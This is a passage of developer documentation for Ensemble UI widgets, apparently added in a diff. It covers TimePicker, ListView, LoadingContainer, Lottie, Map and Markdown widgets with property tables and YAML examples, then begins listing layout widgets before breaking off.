+| mode | enum | Defines the format of the time picker. Options are `hm` (hours and minutes), `ms` (minutes and seconds), or `hms` (hours, minutes, and seconds). | +| selectedTime | string | Returns the selected time as a formatted string, including hours, minutes, and seconds if the `hms` mode is used. | +| onTimeChanged | action | Executes a specified action whenever the time selection changes. | +| minuteInterval | int | Sets the interval for minute selection (e.g., 1, 5, 10). This determines the steps in which minutes can be selected. | +| secondInterval | int | Sets the interval for second selection (e.g., 1, 10, 15). This determines the steps in which seconds can be selected. | +| onTimeChangedHaptic | string | Adds haptic feedback when the time is changed, providing a tactile response for the user. | +| initialTime | string | Sets the initial time displayed by the picker when it is first rendered (formatted as `HH:mm`). | +| showHourLabel | bool | Controls whether the hour label is displayed in the time picker. | + +## Example Usage +This widget is ideal for scenarios where you want users to pick a specific time within the app, without having to open a new screen or dialog. It is particularly useful in settings such as alarm clocks, event schedulers, or any application that requires precise time input. + +### Mode Examples +- **hm (Hours and Minutes)**: Useful for scenarios where second precision is not required, such as setting a meeting time. +- **ms (Minutes and Seconds)**: Ideal for countdowns or timers. +- **hms (Hours, Minutes, and Seconds)**: Provides the full range of time selection, perfect for more detailed scheduling needs. + +By customizing the `minuteInterval` and `secondInterval`, developers can control how fine-grained the time selection is, ensuring that users can quickly and accurately select the desired time. + +This widget can be fully integrated with other actions and components in your app, offering flexibility and ease of use in time-based interactions. + +--- + +# ListView + +The ListView Widget enables the rendering of lists with dynamic and scrollable content, facilitating efficient display and navigation of large datasets within your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/w0Wmu9ZMP4csk7IELSx3) + +## Properties + +| Property | Type | Description | +| :---------------- | :------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| item-template | object | [See properties](#item-template) | +| children | array | List of widgets | +| onItemTap | action | Dispatch when an ListView item is selected/tapped.The event dispatches only when you tap on the item. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above| +| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | +| selectedItemIndex | integer | Selecting a ListView item gives the index of selected item | +| onSwipeToRefresh | action | Enable swipe to refresh. This will trigger onRefresh action if enabled | +| nestedScroll | boolean | Enable ScrollView synchronization with ListView if enabled. | +| shrinkWrap | boolean | ListView will be scrollable even inside ScrollView but with it's own scrollController if enabled. | +| styles | object | [See properties](#styles) | + +### item-template + +| Property | Type | Description | +| :------- | :----- | :----------------------------------------------------------------- | +| data | string | Bind to an array of data from an API response or a variable | +| name | string | Set the name to reference as you iterate through the array of data | +| template | | The widget to render for each item | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| showSeparator | boolean | Show a separator between the items (default is true). | +| separatorColor | integer or string | Set the color for the separator between items, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| separatorWidth | integer | The thickness of the separator between items | +| separatorPadding | string or integer | Padding with CSS-style value e.g. padding: 5 20 5 Default 0 0 0 | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| fontSize | integer | Sets the size of the text. | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports). | +| gap | integer | The gap between the children in the main direction | + +--- + +# LoadingContainer Widget + +The LoadingContainer widget is designed to simplify the process of displaying a loading indicator while content is being fetched or processed. It provides a convenient abstraction layer for managing loading states in your app, allowing developers to easily toggle between the loading state and the state where content is available. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3wNZSfVkdi56zmTtFeBT) + +## Key Concepts + +- **loadingWidget**: Specify a widget to display while loading content. This can point to a custom widget, such as a column of shapes to represent what the loaded content might look like. +- **widget**: This is the widget to display when content is available. +- **isLoading**: This is typically an expression that returns true or false. When true, the `loadingWidget` is displayed. When false, the `widget` will display. +- **useShimmer**: Enables a shining animation to indicate that the content is loading. The animation can be over a default shimmer or the loadingWidget if specified. +- **shimmerOptions**: A nested object to customize the shimmer effect, including gradient colors, stops, and animation range. + +## Example + +Typically LoadingContainer is used in combination with an API call so that you can show a loading state while waiting for the API to respond. + +```yaml +View: + header: + title: "API: Handle loading state" + + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Button: + label: Invoke API + onTap: + executeActionGroup: + actions: + - invokeAPI: + name: getData + - executeCode: + body: | + content.visible = true + + - LoadingContainer: + id: content + visible: false + isLoading: ${ getData.isLoading } + widget: + Text: + text: Data is ready + loadingWidget: + Shape: + type: rectangle + styles: + backgroundColor: grey + width: ${ device.width } + borderRadius: 8 + height: 100 + useShimmer: true + shimmerProperties: + gradientColors: + - 0xFFFF5733 + - 0xFF33FF57 + - 0xFF3357FF + gradientStops: + - 0.0 + - 0.5 + - 1.0 + min: -0.5 + max: 1.5 + +API: + getData: + method: GET + url: https://httpbin.org/delay/10 +``` + +## Reference +#### Properties + +| Property | Type | Description | +| :------------ |:---------------------------------------|:--------------------------------------------------------| +| isLoading | bool | Whether to display a loading widget. The default will be empty (without shimmer) or a default loading shimmer, unless a loadingWidget is specified. | +| useShimmer | bool | A shining animation to designate that the content is loading. The animation can be over a defaults shimmer or the loadingWidget if specified. | +| loadingWidget | object | The widget to render during the loading state (i.e. while isLoading is true). +| widget | object | The widget to render as the content of this container. | +| shimmerOptions | object | A nested object to customize the shimmer effect. Includes the following sub-properties: | + +#### shimmerOptions +| Property | Type | Description | +| :--------------- |:-----------|:----------------------------------------------------------------------------------------------------------------| +| gradientColors | list | A list of colors to be used in the shimmer effect's gradient. | +| gradientStops | list | A list of stops that define the position of each color in the shimmer effect's gradient. | +| min | double | The minimum value for the shimmer animation's range. | +| max | double | The maximum value for the shimmer animation's range. | +| shimmerSpeed | int | The speed of the shimmer animation in milliseconds. | +| shimmerEffect | enum | The direction of the shimmer effect. Options are `horizontal`, `vertical`, or `diagonal`. | +| padding | double | The padding around the shimmer effect. | +| tileMode | enum | The tileMode property in a gradient determines how the gradient repeats or extends beyond its original bounds, offering options like `clamp`, `mirror`, and `repeated` to control the visual effect. | + +--- + +# Lottie Animation widget + +The Lottie Render Widget allows you to effortlessly render Lottie animation files, bringing life and motion to your application with smooth and captivating visual effects. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/576f3004-83e6-429d-b256-628d85e05f7f) + +### NOTE +__NOTE:__ *onTap* property works only for native apps (iOS and Android) and web apps. onTap will not work when the web app is compiled with the [HTML renderer](https://docs.flutter.dev/platform-integration/web/renderers) option (i.e. --web-renderer html). Ensemble Studio is compiled with HTML renderer option so the onTap will not work on the studio. However, it should work fine for Ensemble Go (iOS) and Ensemble Preview (Android). + +## Properties + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------- | +| source | string | URL or asset name of the Lottie json file | +| styles | object | [See properties](#styles) | +| onForward | action | Callback which is fired when the animation starts playing in the forward direction | +| onReverse | action | Callback which is fired when the animation starts playing in the reverse direction | +| onComplete | action | Callback which is fired when the animation is completed | +| [onTap](#note) | action | Run a block of code or execute a given action when there is a tap event on lottie widget | +| onStop | action | Callback which is fired when the animation is stopped. This is fired only when animation is stopped or aborted in between. | +| autoPlay | boolean | Whether to automatically start the animation in the forward direction (default true) | +| repeat | boolean | Whether we should repeat the animation (default true) | +| onTapHaptic | enum | The type of haptic to perform when lottie is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| fit | string | How to fit the Lottie animation within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | +| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| margin | string or integer | Margin with CSS-style notation | +| padding | string or integer | Padding with CSS-style value | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | +| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +### styles.backgroundGradient + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | +| start | string | The starting position of the gradient | +| end | string | The ending position of the gradient | + +### styles.backgroundImage + +| Property | Type | Description | +| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| source | string | The Image URL to fill the background | +| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | +| alignment | string | Alignment of the background image | + +#### Fit options for styles.backgroundImage + +| Option | Description | +| :-------- | :-------------------------------------------------------------------------------------------------- | +| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | +| contain | Scale the image such that the entire image is contained within our dimension | +| cover | Scale the image to fill our dimension, clipping the image as needed | +| fitWidth | Scale the image to fit the width, and clipping the height if needed | +| fitHeight | Scale the image to fit the height, and clipping the width if needed | +| none | Center-Align the original image size, clipping the content if needed | +| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | + +--- + +# Map widget + +The Map widget enables the display of _location markers_ and _overlays_, providing a dynamic visual representation of geographic data. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/36e52d1a-39c5-4a6b-b064-2be6cfe3cf7b) + + +## Basic Usage +Map requires a dimension to render. Most parent widget will provide a constraint so Map can stretch to fit. When the parent doesn't provide a size, e.g. Column on the vertical axis, you must provide the dimension on that axis. Below we use a FlexColumn which will consume all available vertical space, and in turn gives Map the complete screen height. + +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + FlexColumn: + children: + - Map: + styles: + # zoom to fit all markers + autoZoom: true + # position the toolbar + toolbarAlignment: centerLeft + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + // modifying the response to add latitute and longitude + response.body = { + "location": [{ + "lat": 37.82159, + "lng": -121.99996 + }] + }; + +``` + +## Using custom markers +Ensemble provides three different ways of customizing markers. You can use any Ensemble icons, use images via URLs or local asset, or define a custom widget to render as a marker. +### Using Ensemble icons (Native only) +Ensemble provides Material, FontAwesome, and Remix icons out of the box, and you can use these icons as markers. This is supported on Native platform only (Web is not currently supported). +The marker's size can be adjusted using the combination of icon's `size`, `iconPadding` (the circular shape around the icon), and `padding` (the space between the inner circular shape and the pin itself). +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + marker: + icon: + name: home_5_line + library: remix + selectedMarker: + icon: + name: building_2_line + library: remix + backgroundColor: blue + + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + + response.body = { + "location": [{ + "lat": 37.82159, + "lng": -121.99996 + }, { + "lat": 37.773972, + "lng": -122.431297 + }] + }; + +``` +Screenshot + +### Using Images +You can use images as markers by providing a URL or local asset. To further fine-tune the marker dimension, use `resizedWidth` or `resizedHeight`, but avoid using both to maintain the aspect ratio. +```yaml +Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.location} + name: location + location: ${location.lat} ${location.lng} + marker: + image: + source: + resizedWidth: 40 +``` + +### Using custom widget (Native only) +You can use a custom widget to render as a marker. This will only supported on Native platform. +```yaml +View: + onLoad: + invokeAPI: + name: getVenue + + body: + Map: + styles: + autoZoom: true + autoZoomPadding: 100 + markers: + data: ${getVenue.body.items} + name: item + location: ${item.lat} ${item.lng} + marker: + widget: + Text: + text: ${item.city} + styles: + padding: 5 10 + borderColor: blue + backgroundColor: white + borderRadius: 100 + textStyle: + color: black + + +API: + getVenue: + uri: https://dummyjson.com/users/1 + method: GET + onResponse: |- + + response.body = { + "items": [{ + "lat": 37.82159, + "lng": -121.99996, + "city": "Danville" + }, { + "lat": 37.773972, + "lng": -122.431297, + "city": "San Francisco" + + }] + }; +``` +Screenshot + +## Properties + +| Property | Type | Description | +| :----------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | +| fixedMarker | boolean | Keeps the marker fixed at the center of the map while allowing users to move the map around it. This is useful for selecting a location on the map and get the precise coordinates when users move the map around. | +| draggableMarker | boolean | Allows users to drag the marker around the map. | +| styles | object | [See properties](#styles) | +| onCameraMove | action | Execute an Action when the map's bound has changed. The bound data is available using `event.data.bounds..`. | +| onMapCreated | action | Execute an Action when the map's initial state has been rendered. Note that this may not mean the location and markers (if any) are available yet. | +| markers | object | [See properties](#markers) | + +### styles + +| Property | Type | Description | +| :------------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| markerWidth | integer | The width of each marker. (default 60) | +| markerHeight | integer | The height of each marker. (default 30) | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| visibilityTransitionDuration | integer | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | +| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | +| autoZoom | boolean | Automatically zoom the maps to show all the markers (and optionally the current location). Default True. | +| autoZoomPadding | integer | Adjusts the padding around map elements automatically, ensuring a visually balanced and optimized display within the Maps widget. | +| locationEnabled | boolean | Enables the use of location services, allowing the Maps widget to access and display the user's current location on the map. | +| includeCurrentLocationInAutoZoom | boolean | Adjusts the automatic zoom level of the map to include the user's current location within the visible area of the Maps widget. | +| showToolbar | boolean | Show the Map toolbar that contains some convenience controls. You can also turn each individual controls on or off. | +| showMapTypesButton | boolean | Toggle between the different map types. (default true) | +| showLocationButton | boolean | Show the button that animates to the user's location. (default true) | +| showZoomButtons | boolean | Applicable on Web only. Show the zoom in/out controls on the map. (default true on Web) | +| rotateEnabled | boolean | Enables the ability to rotate the map view within the Maps widget, allowing users to change the orientation for a customized viewing experience. | +| scrollEnabled | boolean | Allows users to scroll and pan the map within the Maps widget, providing interactive navigation and exploration of the map content. | +| tiltEnabled | boolean | Enables users to adjust the tilt or perspective of the map view for a dynamic and immersive experience. | +| zoomEnabled | boolean | Enables users to zoom in and out on the map within the Maps widget for closer or wider views. | +| toolbarMargin | integer/ string | The margin around the toolbar. (default 10 on all sides) | +| toolbarAlignment | string | How to align the toolbar within the map. (default bottom right). If both positioning (top/bottom/left/right) and alignment are used, positions will be applied first, then alignment within the available constraint. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight`. | +| toolbarTop | integer | Offset the toolbar from the top edge of the map | +| toolbarBottom | integer | Offset the toolbar from the bottom edge of the map | +| toolbarLeft | integer | Offset the toolbar from the left edge of the map | +| toolbarRight | integer | Offset the toolbar from the right edge of the map | +| mapType | String | Allows users to select different map types `normal`, `satellite`, `terrain`, `hybrid` | +| initialCameraPosition | Object | Represents the initial camera position on the map. [see properties](#stylesinitialcameraposition) | +| markerOverlayMaxWidth | Integer | Specifies the maximum width of the marker overlay | +| markerOverlayMaxHeight | Integer | Sets the maximum height of the marker overlay | +| scrollableMarkerOverlay | Boolean | Determines if swiping left/right within the overlay will navigate to next/previous marker | +| dismissibleMarkerOverlay | Boolean | Enables swiping down to close the overlay | +| autoSelect | Boolean | Automatically selects a marker when the markers are updated | + +### markers + +| Property | Type | Description | +| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | +| data | String | Binds the marker list to the data | +| name | String | Gives a name to the marker | +| location | object | Specifies the geographic coordinates (latitude and longitude) for the Maps widget to display a specific location. [see properties](#markerslocation) | +| lat | Number | Latitude coordinate of the marker | +| lng | Number | Longitude coordinate of the marker | +| marker | object | [see properties](#markersmarker) | +| source | string | The marker's image asset (URL or local asset) | +| selectedMarker | object | [see properties](#selectedMarker) | +| source | string | The marker's image asset when selected (URL or local asset) | +| overlayWidget | Widget | The widget to render as an overlay over the maps. Use this to convey more detail info for each marker. | +| onMarkerTap | action | Action to execute when tapping on the marker | +| onMarkersUpdated | action | Action to execute when the markers have been updated and rendered | + +##### markers.location + +| Property | Type | Description | +| -------- | ------ | --------------------------- | +| lat | Number | The latitude of the marker | +| lng | Number | The longitude of the marker | + +##### markers.marker + +| Property | Type | Description | +| :------- | :----- | :-------------------------------------------------------------------- | +| source | string | The marker's image asset. This can come from URL or from local asset. | + +##### markers.selectedMarker + +| Property | Type | Description | +| :------- | :----- | :---------------------------------------------------------------------------------- | +| source | string | The marker's image asset when selected. This can come from URL or from local asset. | + +##### styles.initialCameraPosition + +| Property | Type | Description | +| -------- | ------- | -------------------- | +| lat | Number | Latitude coordinate | +| lng | Number | Longitude coordinate | +| zoom | Integer | Zoom level | + +--- + +# Markdown widget + +The Markdown Render Widget empowers you to effortlessly render Markdown text, transforming it into beautifully formatted and structured content for your application. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/6b6d9c3d-359b-4768-99a5-3f087a64387c) + +## Properties + +| Property | Type | Description | +| :------- | :----- | :--------------------------- | +| text | string | Your text in markdown format | +| styles | object | [See properties](#styles) | + +### styles + +| Property | Type | Description | +| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| textStyle | string | An opaque object that determines the size, color, and decoration of text. Styling for regular text. Default to theme's bodyMedium styling. [See properties](#styleslinkstyle) | +| linkStyle | object | Styling for the url. [See properties](#styleslinkstyle) | +| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | +| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | +| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | +| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | +| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | +| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | +| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | +| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | +| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | +| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | +| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | + +#### styles.linkStyle + +| Property | Type | Description | +| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| decoration | string | A linear decoration to draw near the text`none`,`lineThrough`,`underlines`,`overline` | + +--- + +# Multi-Child Layout widgets + +## Options for Multi-Child Layout widgets + +1. Column: + Ensemble's Column widget displays its children in a vertical array, similar to Flutter. + Use Column when you want to arrange widgets vertically. + The Column widget doesn't scroll. If you need scrolling functionality, consider using ListView. + If there's only one child, consider using Align or Center to position it. + +2. Flow: + Ensemble's Flow widget is designed to flow its children horizontally or vertically based on available space. + The Flow container is useful for creating dynamic layouts with elements that automatically wrap to the next line when they exceed the available width + +3. GridView + Ensemble's GridView widget is useful for creating a 2D array of widgets. + Use GridView when you need a grid layout. + +4. Flex: + Ensemble's Flex widget is similar to Flutter's Flex and is used to create flexible layouts. + Use Flex when you need + - Flexible arrangements of widgets. + - To switch between row and column layouts based on certain conditions, such as device screen size. + +5. Row: + Ensemble's Row widget arranges its children in a horizontal array. + Use Row when you want to arrange widgets horizontally. + Utilize mainAxis property to control the positioning of children along the main axis (horizontal). + Use crossAxis property to align children along the cross axis. + Employ expanded: true property for a child widget when you want it to take as much space as possible. + +6. ListView: + Ensemble's ListView widget is suitable for 